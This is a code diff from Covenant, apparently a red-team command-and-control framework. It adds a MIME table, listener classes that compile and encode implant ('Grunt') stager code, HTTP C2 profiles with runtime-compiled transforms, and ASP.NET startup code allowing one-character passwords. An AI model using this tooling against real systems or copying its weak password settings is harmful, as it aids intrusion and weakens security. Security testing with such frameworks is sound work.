"text/plain"}, + {".mmf", "application/x-smaf"}, + {".mno", "text/xml"}, + {".mny", "application/x-msmoney"}, + {".mod", "video/mpeg"}, + {".mov", "video/quicktime"}, + {".movie", "video/x-sgi-movie"}, + {".mp2", "video/mpeg"}, + {".mp2v", "video/mpeg"}, + {".mp3", "audio/mpeg"}, + {".mp4", "video/mp4"}, + {".mp4v", "video/mp4"}, + {".mpa", "video/mpeg"}, + {".mpe", "video/mpeg"}, + {".mpeg", "video/mpeg"}, + {".mpf", "application/vnd.ms-mediapackage"}, + {".mpg", "video/mpeg"}, + {".mpp", "application/vnd.ms-project"}, + {".mpv2", "video/mpeg"}, + {".mqv", "video/quicktime"}, + {".ms", "application/x-troff-ms"}, + {".msi", "application/octet-stream"}, + {".mso", "application/octet-stream"}, + {".mts", "video/vnd.dlna.mpeg-tts"}, + {".mtx", "application/xml"}, + {".mvb", "application/x-msmediaview"}, + {".mvc", "application/x-miva-compiled"}, + {".mxp", "application/x-mmxp"}, + {".nc", "application/x-netcdf"}, + {".nsc", "video/x-ms-asf"}, + {".nws", "message/rfc822"}, + {".ocx", "application/octet-stream"}, + {".oda", "application/oda"}, + {".odb", "application/vnd.oasis.opendocument.database"}, + {".odc", "application/vnd.oasis.opendocument.chart"}, + {".odf", "application/vnd.oasis.opendocument.formula"}, + {".odg", "application/vnd.oasis.opendocument.graphics"}, + {".odh", "text/plain"}, + {".odi", "application/vnd.oasis.opendocument.image"}, + {".odl", "text/plain"}, + {".odm", "application/vnd.oasis.opendocument.text-master"}, + {".odp", "application/vnd.oasis.opendocument.presentation"}, + {".ods", "application/vnd.oasis.opendocument.spreadsheet"}, + {".odt", "application/vnd.oasis.opendocument.text"}, + {".oga", "audio/ogg"}, + {".ogg", "audio/ogg"}, + {".ogv", "video/ogg"}, + {".ogx", "application/ogg"}, + {".one", "application/onenote"}, + {".onea", "application/onenote"}, + {".onepkg", "application/onenote"}, + {".onetmp", "application/onenote"}, + {".onetoc", "application/onenote"}, + {".onetoc2", "application/onenote"}, + {".opus", "audio/ogg"}, + {".orderedtest", "application/xml"}, + {".osdx", "application/opensearchdescription+xml"}, + {".otf", "application/font-sfnt"}, + {".otg", "application/vnd.oasis.opendocument.graphics-template"}, + {".oth", "application/vnd.oasis.opendocument.text-web"}, + {".otp", "application/vnd.oasis.opendocument.presentation-template"}, + {".ots", "application/vnd.oasis.opendocument.spreadsheet-template"}, + {".ott", "application/vnd.oasis.opendocument.text-template"}, + {".oxt", "application/vnd.openofficeorg.extension"}, + {".p10", "application/pkcs10"}, + {".p12", "application/x-pkcs12"}, + {".p7b", "application/x-pkcs7-certificates"}, + {".p7c", "application/pkcs7-mime"}, + {".p7m", "application/pkcs7-mime"}, + {".p7r", "application/x-pkcs7-certreqresp"}, + {".p7s", "application/pkcs7-signature"}, + {".pbm", "image/x-portable-bitmap"}, + {".pcast", "application/x-podcast"}, + {".pct", "image/pict"}, + {".pcx", "application/octet-stream"}, + {".pcz", "application/octet-stream"}, + {".pdf", "application/pdf"}, + {".pfb", "application/octet-stream"}, + {".pfm", "application/octet-stream"}, + {".pfx", "application/x-pkcs12"}, + {".pgm", "image/x-portable-graymap"}, + {".pic", "image/pict"}, + {".pict", "image/pict"}, + {".pkgdef", "text/plain"}, + {".pkgundef", "text/plain"}, + {".pko", "application/vnd.ms-pki.pko"}, + {".pls", "audio/scpls"}, + {".pma", "application/x-perfmon"}, + {".pmc", "application/x-perfmon"}, + {".pml", "application/x-perfmon"}, + {".pmr", "application/x-perfmon"}, + {".pmw", "application/x-perfmon"}, + {".png", "image/png"}, + {".pnm", "image/x-portable-anymap"}, + {".pnt", "image/x-macpaint"}, + {".pntg", "image/x-macpaint"}, + {".pnz", "image/png"}, + {".pot", "application/vnd.ms-powerpoint"}, + {".potm", "application/vnd.ms-powerpoint.template.macroEnabled.12"}, + {".potx", "application/vnd.openxmlformats-officedocument.presentationml.template"}, + {".ppa", "application/vnd.ms-powerpoint"}, + {".ppam", "application/vnd.ms-powerpoint.addin.macroEnabled.12"}, + {".ppm", "image/x-portable-pixmap"}, + {".pps", "application/vnd.ms-powerpoint"}, + {".ppsm", "application/vnd.ms-powerpoint.slideshow.macroEnabled.12"}, + {".ppsx", "application/vnd.openxmlformats-officedocument.presentationml.slideshow"}, + {".ppt", "application/vnd.ms-powerpoint"}, + {".pptm", "application/vnd.ms-powerpoint.presentation.macroEnabled.12"}, + {".pptx", "application/vnd.openxmlformats-officedocument.presentationml.presentation"}, + {".prf", "application/pics-rules"}, + {".prm", "application/octet-stream"}, + {".prx", "application/octet-stream"}, + {".ps", "application/postscript"}, + {".psc1", "application/PowerShell"}, + {".psd", "application/octet-stream"}, + {".psess", "application/xml"}, + {".psm", "application/octet-stream"}, + {".psp", "application/octet-stream"}, + {".pub", "application/x-mspublisher"}, + {".pwz", "application/vnd.ms-powerpoint"}, + {".qht", "text/x-html-insertion"}, + {".qhtm", "text/x-html-insertion"}, + {".qt", "video/quicktime"}, + {".qti", "image/x-quicktime"}, + {".qtif", "image/x-quicktime"}, + {".qtl", "application/x-quicktimeplayer"}, + {".qxd", "application/octet-stream"}, + {".ra", "audio/x-pn-realaudio"}, + {".ram", "audio/x-pn-realaudio"}, + {".rar", "application/x-rar-compressed"}, + {".ras", "image/x-cmu-raster"}, + {".rat", "application/rat-file"}, + {".rc", "text/plain"}, + {".rc2", "text/plain"}, + {".rct", "text/plain"}, + {".rdlc", "application/xml"}, + {".reg", "text/plain"}, + {".resx", "application/xml"}, + {".rf", "image/vnd.rn-realflash"}, + {".rgb", "image/x-rgb"}, + {".rgs", "text/plain"}, + {".rm", "application/vnd.rn-realmedia"}, + {".rmi", "audio/mid"}, + {".rmp", "application/vnd.rn-rn_music_package"}, + {".roff", "application/x-troff"}, + {".rpm", "audio/x-pn-realaudio-plugin"}, + {".rqy", "text/x-ms-rqy"}, + {".rtf", "application/rtf"}, + {".rtx", "text/richtext"}, + {".ruleset", "application/xml"}, + {".s", "text/plain"}, + {".safariextz", "application/x-safari-safariextz"}, + {".scd", "application/x-msschedule"}, + {".scr", "text/plain"}, + {".sct", "text/scriptlet"}, + {".sd2", "audio/x-sd2"}, + {".sdp", "application/sdp"}, + {".sea", "application/octet-stream"}, + {".searchConnector-ms", "application/windows-search-connector+xml"}, + {".setpay", "application/set-payment-initiation"}, + {".setreg", "application/set-registration-initiation"}, + {".settings", "application/xml"}, + {".sgimb", "application/x-sgimb"}, + {".sgml", "text/sgml"}, + {".sh", "application/x-sh"}, + {".shar", "application/x-shar"}, + {".shtml", "text/html"}, + {".sit", "application/x-stuffit"}, + {".sitemap", "application/xml"}, + {".skin", "application/xml"}, + {".sldm", "application/vnd.ms-powerpoint.slide.macroEnabled.12"}, + {".sldx", "application/vnd.openxmlformats-officedocument.presentationml.slide"}, + {".slk", "application/vnd.ms-excel"}, + {".sln", "text/plain"}, + {".slupkg-ms", "application/x-ms-license"}, + {".smd", "audio/x-smd"}, + {".smi", "application/octet-stream"}, + {".smx", "audio/x-smd"}, + {".smz", "audio/x-smd"}, + {".snd", "audio/basic"}, + {".snippet", "application/xml"}, + {".snp", "application/octet-stream"}, + {".sol", "text/plain"}, + {".sor", "text/plain"}, + {".spc", "application/x-pkcs7-certificates"}, + {".spl", "application/futuresplash"}, + {".spx", "audio/ogg"}, + {".src", "application/x-wais-source"}, + {".srf", "text/plain"}, + {".SSISDeploymentManifest", "text/xml"}, + {".ssm", "application/streamingmedia"}, + {".sst", "application/vnd.ms-pki.certstore"}, + {".stl", "application/vnd.ms-pki.stl"}, + {".sv4cpio", "application/x-sv4cpio"}, + {".sv4crc", "application/x-sv4crc"}, + {".svc", "application/xml"}, + {".svg", "image/svg+xml"}, + {".swf", "application/x-shockwave-flash"}, + {".step", "application/step"}, + {".stp", "application/step"}, + {".t", "application/x-troff"}, + {".tar", "application/x-tar"}, + {".tcl", "application/x-tcl"}, + {".testrunconfig", "application/xml"}, + {".testsettings", "application/xml"}, + {".tex", "application/x-tex"}, + {".texi", "application/x-texinfo"}, + {".texinfo", "application/x-texinfo"}, + {".tgz", "application/x-compressed"}, + {".thmx", "application/vnd.ms-officetheme"}, + {".thn", "application/octet-stream"}, + {".tif", "image/tiff"}, + {".tiff", "image/tiff"}, + {".tlh", "text/plain"}, + {".tli", "text/plain"}, + {".toc", "application/octet-stream"}, + {".tr", "application/x-troff"}, + {".trm", "application/x-msterminal"}, + {".trx", "application/xml"}, + {".ts", "video/vnd.dlna.mpeg-tts"}, + {".tsv", "text/tab-separated-values"}, + {".ttf", "application/font-sfnt"}, + {".tts", "video/vnd.dlna.mpeg-tts"}, + {".txt", "text/plain"}, + {".u32", "application/octet-stream"}, + {".uls", "text/iuls"}, + {".user", "text/plain"}, + {".ustar", "application/x-ustar"}, + {".vb", "text/plain"}, + {".vbdproj", "text/plain"}, + {".vbk", "video/mpeg"}, + {".vbproj", "text/plain"}, + {".vbs", "text/vbscript"}, + {".vcf", "text/x-vcard"}, + {".vcproj", "application/xml"}, + {".vcs", "text/plain"}, + {".vcxproj", "application/xml"}, + {".vddproj", "text/plain"}, + {".vdp", "text/plain"}, + {".vdproj", "text/plain"}, + {".vdx", "application/vnd.ms-visio.viewer"}, + {".vml", "text/xml"}, + {".vscontent", "application/xml"}, + {".vsct", "text/xml"}, + {".vsd", "application/vnd.visio"}, + {".vsi", "application/ms-vsi"}, + {".vsix", "application/vsix"}, + {".vsixlangpack", "text/xml"}, + {".vsixmanifest", "text/xml"}, + {".vsmdi", "application/xml"}, + {".vspscc", "text/plain"}, + {".vss", "application/vnd.visio"}, + {".vsscc", "text/plain"}, + {".vssettings", "text/xml"}, + {".vssscc", "text/plain"}, + {".vst", "application/vnd.visio"}, + {".vstemplate", "text/xml"}, + {".vsto", "application/x-ms-vsto"}, + {".vsw", "application/vnd.visio"}, + {".vsx", "application/vnd.visio"}, + {".vtx", "application/vnd.visio"}, + {".wav", "audio/wav"}, + {".wave", "audio/wav"}, + {".wax", "audio/x-ms-wax"}, + {".wbk", "application/msword"}, + {".wbmp", "image/vnd.wap.wbmp"}, + {".wcm", "application/vnd.ms-works"}, + {".wdb", "application/vnd.ms-works"}, + {".wdp", "image/vnd.ms-photo"}, + {".webarchive", "application/x-safari-webarchive"}, + {".webm", "video/webm"}, + {".webp", "image/webp"}, /* https://en.wikipedia.org/wiki/WebP */ {".webtest", "application/xml"}, + {".wiq", "application/xml"}, + {".wiz", "application/msword"}, + {".wks", "application/vnd.ms-works"}, + {".WLMP", "application/wlmoviemaker"}, + {".wlpginstall", "application/x-wlpg-detect"}, + {".wlpginstall3", "application/x-wlpg3-detect"}, + {".wm", "video/x-ms-wm"}, + {".wma", "audio/x-ms-wma"}, + {".wmd", "application/x-ms-wmd"}, + {".wmf", "application/x-msmetafile"}, + {".wml", "text/vnd.wap.wml"}, + {".wmlc", "application/vnd.wap.wmlc"}, + {".wmls", "text/vnd.wap.wmlscript"}, + {".wmlsc", "application/vnd.wap.wmlscriptc"}, + {".wmp", "video/x-ms-wmp"}, + {".wmv", "video/x-ms-wmv"}, + {".wmx", "video/x-ms-wmx"}, + {".wmz", "application/x-ms-wmz"}, + {".woff", "application/font-woff"}, + {".wpl", "application/vnd.ms-wpl"}, + {".wps", "application/vnd.ms-works"}, + {".wri", "application/x-mswrite"}, + {".wrl", "x-world/x-vrml"}, + {".wrz", "x-world/x-vrml"}, + {".wsc", "text/scriptlet"}, + {".wsdl", "text/xml"}, + {".wvx", "video/x-ms-wvx"}, + {".x", "application/directx"}, + {".xaf", "x-world/x-vrml"}, + {".xaml", "application/xaml+xml"}, + {".xap", "application/x-silverlight-app"}, + {".xbap", "application/x-ms-xbap"}, + {".xbm", "image/x-xbitmap"}, + {".xdr", "text/plain"}, + {".xht", "application/xhtml+xml"}, + {".xhtml", "application/xhtml+xml"}, + {".xla", "application/vnd.ms-excel"}, + {".xlam", "application/vnd.ms-excel.addin.macroEnabled.12"}, + {".xlc", "application/vnd.ms-excel"}, + {".xld", "application/vnd.ms-excel"}, + {".xlk", "application/vnd.ms-excel"}, + {".xll", "application/vnd.ms-excel"}, + {".xlm", "application/vnd.ms-excel"}, + {".xls", "application/vnd.ms-excel"}, + {".xlsb", "application/vnd.ms-excel.sheet.binary.macroEnabled.12"}, + {".xlsm", "application/vnd.ms-excel.sheet.macroEnabled.12"}, + {".xlsx", "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"}, + {".xlt", "application/vnd.ms-excel"}, + {".xltm", "application/vnd.ms-excel.template.macroEnabled.12"}, + {".xltx", "application/vnd.openxmlformats-officedocument.spreadsheetml.template"}, + {".xlw", "application/vnd.ms-excel"}, + {".xml", "text/xml"}, + {".xmta", "application/xml"}, + {".xof", "x-world/x-vrml"}, + {".XOML", "text/plain"}, + {".xpm", "image/x-xpixmap"}, + {".xps", "application/vnd.ms-xpsdocument"}, + {".xrm-ms", "text/xml"}, + {".xsc", "application/xml"}, + {".xsd", "text/xml"}, + {".xsf", "text/xml"}, + {".xsl", "text/xml"}, + {".xslt", "text/xml"}, + {".xsn", "application/octet-stream"}, + {".xss", "application/xml"}, + {".xspf", "application/xspf+xml"}, + {".xtp", "application/octet-stream"}, + {".xwd", "image/x-xwindowdump"}, + {".z", "application/x-compress"}, + {".zip", "application/zip"}, + + {"application/fsharp-script", ".fsx"}, + {"application/msaccess", ".adp"}, + {"application/msword", ".doc"}, + {"application/octet-stream", ".bin"}, + {"application/onenote", ".one"}, + {"application/postscript", ".eps"}, + {"application/step", ".step"}, + {"application/vnd.ms-excel", ".xls"}, + {"application/vnd.ms-powerpoint", ".ppt"}, + {"application/vnd.ms-works", ".wks"}, + {"application/vnd.visio", ".vsd"}, + {"application/x-director", ".dir"}, + {"application/x-shockwave-flash", ".swf"}, + {"application/x-x509-ca-cert", ".cer"}, + {"application/x-zip-compressed", ".zip"}, + {"application/xhtml+xml", ".xhtml"}, + {"application/xml", ".xml"}, // anomoly, .xml -> text/xml, but application/xml -> many thingss, but all are xml, so safest is .xml + {"audio/aac", ".AAC"}, + {"audio/aiff", ".aiff"}, + {"audio/basic", ".snd"}, + {"audio/mid", ".midi"}, + {"audio/wav", ".wav"}, + {"audio/x-m4a", ".m4a"}, + {"audio/x-mpegurl", ".m3u"}, + {"audio/x-pn-realaudio", ".ra"}, + {"audio/x-smd", ".smd"}, + {"image/bmp", ".bmp"}, + {"image/jpeg", ".jpg"}, + {"image/pict", ".pic"}, + {"image/png", ".png"}, + {"image/tiff", ".tiff"}, + {"image/x-macpaint", ".mac"}, + {"image/x-quicktime", ".qti"}, + {"message/rfc822", ".eml"}, + {"text/html", ".html"}, + {"text/plain", ".txt"}, + {"text/scriptlet", ".wsc"}, + {"text/xml", ".xml"}, + {"video/3gpp", ".3gp"}, + {"video/3gpp2", ".3gp2"}, + {"video/mp4", ".mp4"}, + {"video/mpeg", ".mpg"}, + {"video/quicktime", ".mov"}, + {"video/vnd.dlna.mpeg-tts", ".m2t"}, + {"video/x-dv", ".dv"}, + {"video/x-la-asf", ".lsf"}, + {"video/x-ms-asf", ".asf"}, + {"x-world/x-vrml", ".xof"}, + }; + } +} diff --git a/Covenant/Models/Listeners/Listener.cs b/Covenant/Models/Listeners/Listener.cs new file mode 100644 index 00000000..64d038bc --- /dev/null +++ b/Covenant/Models/Listeners/Listener.cs @@ -0,0 +1,106 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System; +using System.Linq; +using System.Threading; +using System.Collections.Generic; +using Microsoft.CodeAnalysis; + +using Covenant.Models.Grunts; +using Covenant.Core; + +namespace Covenant.Models.Listeners +{ + public class ListenerType + { + public int Id { get; set; } + public string Name { get; set; } + public string Description { get; set; } + + public static ListenerType HttpListenerType { get; set; } = new ListenerType + { + Name = "HTTP", + Description = "Listens on HTTP protocol." + }; + } + + public class Listener + { + public enum ListenerStatus + { + Uninitialized, + Active, + Stopped + } + + public int Id { get; set; } + public int ProfileId { get; set; } = 1; + public string Name { get; set; } = GenerateName(); + public string Description { get; set; } = "A generic listener."; + public string BindAddress { get; set; } = "0.0.0.0"; + public int BindPort { get; set; } = 80; + public string ConnectAddress { get; set; } = System.Net.Dns.GetHostAddresses(System.Net.Dns.GetHostName()).FirstOrDefault( + A => A.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork).ToString(); + + public int ListenerTypeId { get; set; } + public ListenerStatus Status { get; set; } = ListenerStatus.Uninitialized; + + public string CovenantToken { get; set; } + + public virtual CancellationTokenSource Start(HttpProfile profile) { return null; } + public virtual void Stop(CancellationTokenSource cancellationTokenSource) { } + public virtual string GetGruntStagerCode(Grunt grunt, HttpProfile profile) { return ""; } + public virtual string GetGruntExecutorCode(Grunt grunt, HttpProfile profile) { return ""; } + + public string CompileGruntStagerCode(Grunt grunt, HttpProfile profile, OutputKind outputKind = OutputKind.DynamicallyLinkedLibrary, bool Compress = false) + { + byte[] ILBytes = Compiler.Compile(new Compiler.CompilationRequest + { + Source = this.GetGruntStagerCode(grunt, profile), + ResourceDirectory = Common.CovenantResourceDirectory, + ReferenceDirectory = Common.CovenantReferenceDirectory, + TargetDotNetVersion = grunt.DotNetFrameworkVersion, + OutputKind = outputKind, + References = Common.DefaultReferences + }); + if (ILBytes == null || ILBytes.Length == 0) + { + throw new CovenantCompileGruntStagerFailedException("Compiling Grunt code failed"); + } + if (Compress) { + ILBytes = Utilities.Compress(ILBytes); + } + return Convert.ToBase64String(ILBytes); + } + + public string CompileGruntExecutorCode(Grunt grunt, HttpProfile profile, bool Compress = false) + { + byte[] ILBytes = Compiler.Compile(new Compiler.CompilationRequest + { + Source = this.GetGruntExecutorCode(grunt, profile), + ResourceDirectory = Common.CovenantResourceDirectory, + ReferenceDirectory = Common.CovenantReferenceDirectory, + TargetDotNetVersion = grunt.DotNetFrameworkVersion, + OutputKind = OutputKind.DynamicallyLinkedLibrary, + References = Common.DefaultReferences + }); + if (ILBytes == null || ILBytes.Length == 0) + { + throw new CovenantCompileGruntStagerFailedException("Compiling Grunt code failed"); + } + + if (Compress) + { + ILBytes = Utilities.Compress(ILBytes); + } + return Convert.ToBase64String(ILBytes); + } + + private static string GenerateName() + { + return Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10); + } + } +} diff --git a/Covenant/Models/Listeners/Profile.cs b/Covenant/Models/Listeners/Profile.cs new file mode 100644 index 00000000..5c387892 --- /dev/null +++ b/Covenant/Models/Listeners/Profile.cs @@ -0,0 +1,167 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System; +using System.IO; +using System.Linq; +using System.Reflection; +using System.Collections.Generic; + +using Newtonsoft.Json; +using YamlDotNet.Serialization; + +using APIModels = Covenant.API.Models; +using Covenant.Core; + +namespace Covenant.Models.Listeners +{ + public class Profile + { + public int Id { get; set; } + } + + public class HttpProfile : Profile + { + public class HttpProfileHeader + { + public string Name { get; set; } = ""; + public string Value { get; set; } = ""; + } + + private List _HttpUrls { get; set; } = new List(); + private List _HttpCookies { get; set; } = new List(); + private List _HttpHeaders { get; set; } = new List(); + + public string Name { get; set; } + public string HttpUrls + { + get { return JsonConvert.SerializeObject(this._HttpUrls); } + set { this._HttpUrls = JsonConvert.DeserializeObject>(value); } + } + public string HttpCookies + { + get { return JsonConvert.SerializeObject(this._HttpCookies); } + set { this._HttpCookies = JsonConvert.DeserializeObject>(value); } + } + public string HttpMessageTransform { get; set; } = ""; + public string HttpRequestHeaders + { + get { return JsonConvert.SerializeObject(this._HttpHeaders); } + set { this._HttpHeaders = JsonConvert.DeserializeObject>(value); } + } + public string HttpPostRequest { get; set; } = ""; + + public string HttpResponseHeaders + { + get { return JsonConvert.SerializeObject(this._HttpHeaders); } + set { this._HttpHeaders = JsonConvert.DeserializeObject>(value); } + } + public string HttpGetResponse { get; set; } = ""; + public string HttpPostResponse { get; set; } = ""; + + public List GetUrls() + { + return this._HttpUrls; + } + public List GetCookies() + { + return this._HttpCookies; + } + public List GetHeaders() + { + return this._HttpHeaders; + } + + private byte[] _TransformCoreAssemblyBytes { get; set; } = null; + private Assembly _TransformCoreAssembly { get; set; } = null; + + private Assembly GetTransformCoreAssembly() + { + if (this._TransformCoreAssembly == null) + { + if (this._TransformCoreAssemblyBytes == null) + { + string[] refLocationPieces = typeof(object).GetTypeInfo().Assembly.Location.Split(Path.DirectorySeparatorChar); + this._TransformCoreAssemblyBytes = Compiler.Compile(new Compiler.CompilationRequest + { + Source = this.HttpMessageTransform, + ReferenceDirectory = String.Join(Path.DirectorySeparatorChar, refLocationPieces.Take(refLocationPieces.Count() - 1)), + TargetDotNetVersion = Common.DotNetVersion.NetCore21, + References = Common.NetCore21References + }); + } + this._TransformCoreAssembly = Assembly.Load(this._TransformCoreAssemblyBytes); + } + return this._TransformCoreAssembly; + } + + public string Transform(byte[] bytes) + { + Type t = this.GetTransformCoreAssembly().GetType("HttpMessageTransform"); + return (string)t.GetMethod("Transform").Invoke(null, new object[] { bytes }); + } + + public byte[] Invert(string str) + { + Type t = this.GetTransformCoreAssembly().GetType("HttpMessageTransform"); + return (byte[])t.GetMethod("Invert").Invoke(null, new object[] { str }); + } + + private class HttpProfileYaml + { + public string Name { get; set; } + public List HttpUrls { get; set; } = new List(); + public List HttpCookies { get; set; } = new List(); + public string HttpMessageTransform { get; set; } = ""; + public List HttpRequestHeaders { get; set; } = new List(); + public string HttpPostRequest { get; set; } = ""; + public List HttpResponseHeaders { get; set; } = new List(); + public string HttpGetResponse { get; set; } = ""; + public string HttpPostResponse { get; set; } = ""; + } + + public static HttpProfile Create(APIModels.HttpProfile httpProfileModel) + { + return new HttpProfile + { + Id = httpProfileModel.Id ?? default, + Name = httpProfileModel.Name, + HttpUrls = httpProfileModel.HttpUrls, + HttpCookies = httpProfileModel.HttpCookies, + HttpMessageTransform = httpProfileModel.HttpMessageTransform, + HttpRequestHeaders = httpProfileModel.HttpRequestHeaders, + HttpPostRequest = httpProfileModel.HttpPostRequest, + HttpResponseHeaders = httpProfileModel.HttpResponseHeaders, + HttpGetResponse = httpProfileModel.HttpGetResponse, + HttpPostResponse = httpProfileModel.HttpPostResponse + }; + } + + public static HttpProfile Create(string ProfileFilePath) + { + using (TextReader reader = File.OpenText(ProfileFilePath)) + { + var deserializer = new DeserializerBuilder().Build(); + HttpProfileYaml yaml = deserializer.Deserialize(reader); + return CreateFromHttpProfileYaml(yaml); + } + } + + private static HttpProfile CreateFromHttpProfileYaml(HttpProfileYaml yaml) + { + return new HttpProfile + { + Name = yaml.Name, + HttpUrls = JsonConvert.SerializeObject(yaml.HttpUrls), + HttpCookies = JsonConvert.SerializeObject(yaml.HttpCookies), + HttpMessageTransform = yaml.HttpMessageTransform, + HttpRequestHeaders = JsonConvert.SerializeObject(yaml.HttpRequestHeaders), + HttpPostRequest = yaml.HttpPostRequest, + HttpResponseHeaders = JsonConvert.SerializeObject(yaml.HttpResponseHeaders), + HttpGetResponse = yaml.HttpGetResponse, + HttpPostResponse = yaml.HttpPostResponse + }; + } + } +} \ No newline at end of file diff --git a/Covenant/Properties/launchSettings.json b/Covenant/Properties/launchSettings.json new file mode 100644 index 00000000..a4815bfe --- /dev/null +++ b/Covenant/Properties/launchSettings.json @@ -0,0 +1,30 @@ +{ + "iisSettings": { + "windowsAuthentication": false, + "anonymousAuthentication": true, + "iisExpress": { + "applicationUrl": "http://localhost:7442/", + "sslPort": 7443 + } + }, + "profiles": { + "IIS Express": { + "commandName": "IISExpress", + "launchBrowser": true, + "launchUrl": "swagger", + "environmentVariables": { + "ASPNETCORE_ENVIRONMENT": "Development", + "ASPNETCORE_HTTPS_PORT": "7443" + } + }, + "Covenant": { + "commandName": "Project", + "launchBrowser": true, + "launchUrl": "swagger", + "environmentVariables": { + "ASPNETCORE_ENVIRONMENT": "Development", + "ASPNETCORE_URLS": "https://localhost:7443;http://localhost:7442" + } + } + } +} diff --git a/Covenant/Startup.cs b/Covenant/Startup.cs new file mode 100644 index 00000000..11f1314c --- /dev/null +++ b/Covenant/Startup.cs @@ -0,0 +1,194 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System; +using System.IO; +using System.Linq; +using System.Reflection; +using System.Collections.Generic; +using System.Threading; +using Microsoft.AspNetCore.Builder; +using Microsoft.EntityFrameworkCore; +using Microsoft.AspNetCore.Hosting; +using Microsoft.Extensions.Configuration; +using Microsoft.Extensions.DependencyInjection; +using Microsoft.AspNetCore.Identity; +using Microsoft.AspNetCore.Authentication.JwtBearer; +using System.IdentityModel.Tokens.Jwt; +using Microsoft.IdentityModel.Tokens; + +using Swashbuckle.AspNetCore.Swagger; +using Swashbuckle.AspNetCore.SwaggerGen; + +using Covenant.Core; +using Covenant.Models; +using Covenant.Models.Covenant; + +namespace Covenant +{ + public class Startup + { + public Startup(IConfiguration configuration) + { + Configuration = configuration; + } + + public IConfiguration Configuration { get; } + + // This method gets called by the runtime. Use this method to add services to the container. + public void ConfigureServices(IServiceCollection services) + { + services.AddDbContext(opt => + { + opt.UseSqlite("Data Source=" + Common.CovenantDatabaseFile); + }); + + services.AddIdentity(options => + { + options.Stores.MaxLengthForKeys = 128; + options.Password.RequireDigit = false; + options.Password.RequireLowercase = false; + options.Password.RequireUppercase = false; + options.Password.RequireNonAlphanumeric = false; + options.Password.RequiredLength = 1; + }).AddEntityFrameworkStores() + .AddDefaultTokenProviders(); + + JwtSecurityTokenHandler.DefaultInboundClaimTypeMap.Clear(); + services.AddAuthentication(options => + { + options.DefaultAuthenticateScheme = JwtBearerDefaults.AuthenticationScheme; + options.DefaultScheme = JwtBearerDefaults.AuthenticationScheme; + options.DefaultChallengeScheme = JwtBearerDefaults.AuthenticationScheme; + }).AddJwtBearer(cfg => + { + cfg.RequireHttpsMetadata = false; + cfg.SaveToken = true; + cfg.TokenValidationParameters = new TokenValidationParameters + { + ValidIssuer = Configuration["JwtIssuer"], + ValidAudience = Configuration["JwtAudience"], + IssuerSigningKey = new SymmetricSecurityKey(Common.CovenantEncoding.GetBytes(Configuration["JwtKey"])), + ClockSkew = TimeSpan.Zero + }; + }); + + services.AddMvc(); + + services.AddAuthorization(options => + { + options.AddPolicy("RequireAdministratorRole", policy => policy.RequireRole("Administrator")); + }); + + services.AddSwaggerGen(c => + { + c.SwaggerDoc("v1", new Info { Title = "Covenant API", Version = "v0.1" }); + c.AddSecurityDefinition("Bearer", new ApiKeyScheme + { + Description = "JWT Authorization header using the Bearer scheme. Example: \"Authorization: Bearer {token}\"", + Name = "Authorization", + In = "header", + Type = "apiKey" + }); + c.SchemaFilter(); + c.SchemaFilter(); + }); + + services.AddSingleton>(); + } + + // This method gets called by the runtime. Use this method to configure the HTTP request pipeline. + public void Configure(IApplicationBuilder app, IHostingEnvironment env) + { + if (env.IsDevelopment()) + { + app.UseDeveloperExceptionPage(); + app.UseSwagger(); + app.UseSwaggerUI(c => + { + c.SwaggerEndpoint("/swagger/v1/swagger.json", "Covenant API V0.1"); + }); + app.Use((context, next) => + { + context.Response.Headers.Remove("Server"); + return next(); + }); + } + + app.UseAuthentication(); + app.UseMvc(); + } + + public class AutoRestSchemaFilter : ISchemaFilter + { + public void Apply(Schema schema, SchemaFilterContext context) + { + var typeInfo = context.SystemType.GetTypeInfo(); + + if (typeInfo.IsEnum) + { + schema.Extensions.Add( + "x-ms-enum", + new { name = typeInfo.Name, modelAsString = false } + ); + }; + } + } + + public class EnumSchemaFilter : ISchemaFilter + { + public void Apply(Schema model, SchemaFilterContext context) + { + if (model.Properties == null) + return; + + var enumProperties = model.Properties.Where(p => p.Value.Enum != null) + .Union(model.Properties.Where(p => p.Value.Items?.Enum != null)).ToList(); + var enums = context.SystemType.GetProperties() + .Select(p => Nullable.GetUnderlyingType(p.PropertyType) ?? p.PropertyType.GetElementType() ?? + p.PropertyType.GetGenericArguments().FirstOrDefault() ?? p.PropertyType) + .Where(p => p.GetTypeInfo().IsEnum) + .ToList(); + + foreach (var enumProperty in enumProperties) + { + var enumPropertyValue = enumProperty.Value.Enum != null ? enumProperty.Value : enumProperty.Value.Items; + enumPropertyValue.Type = "string"; + enumPropertyValue.Format = null; + var enumValues = enumPropertyValue.Enum.Select(e => $"{e}").ToList(); + enumPropertyValue.Enum = new List(enumValues); + var enumType = enums.SingleOrDefault(p => + { + var enumNames = Enum.GetNames(p); + if (enumNames.Except(enumValues, StringComparer.InvariantCultureIgnoreCase).Any()) + return false; + if (enumValues.Except(enumNames, StringComparer.InvariantCultureIgnoreCase).Any()) + return false; + return true; + }); + + if (enumType == null) + throw new Exception($"Property {enumProperty} not found in {context.SystemType.Name} Type."); + + if (context.SchemaRegistry.Definitions.ContainsKey(enumType.Name) == false) + context.SchemaRegistry.Definitions.Add(enumType.Name, enumPropertyValue); + + var schema = new Schema + { + Ref = $"#/definitions/{enumType.Name}" + }; + if (enumProperty.Value.Enum != null) + { + model.Properties[enumProperty.Key] = schema; + } + else if (enumProperty.Value.Items?.Enum != null) + { + enumProperty.Value.Items = schema; + } + } + } + + } + } +} \ No newline at end of file diff --git a/Covenant/appsettings.json b/Covenant/appsettings.json new file mode 100644 index 00000000..cc8b452e --- /dev/null +++ b/Covenant/appsettings.json @@ -0,0 +1,6 @@ +{ + "JwtKey": "[KEY USED TO SIGN/VERIFY JWT TOKENS, ALWAYS REPLACE THIS VALUE]", + "JwtIssuer": "Covenant", + "JwtAudience": "Covenant", + "JwtExpireDays": 100 +} diff --git a/Covenant/refs/Confuser.Core.dll b/Covenant/refs/Confuser.Core.dll new file mode 100644 index 00000000..6d5b4232 Binary files /dev/null and 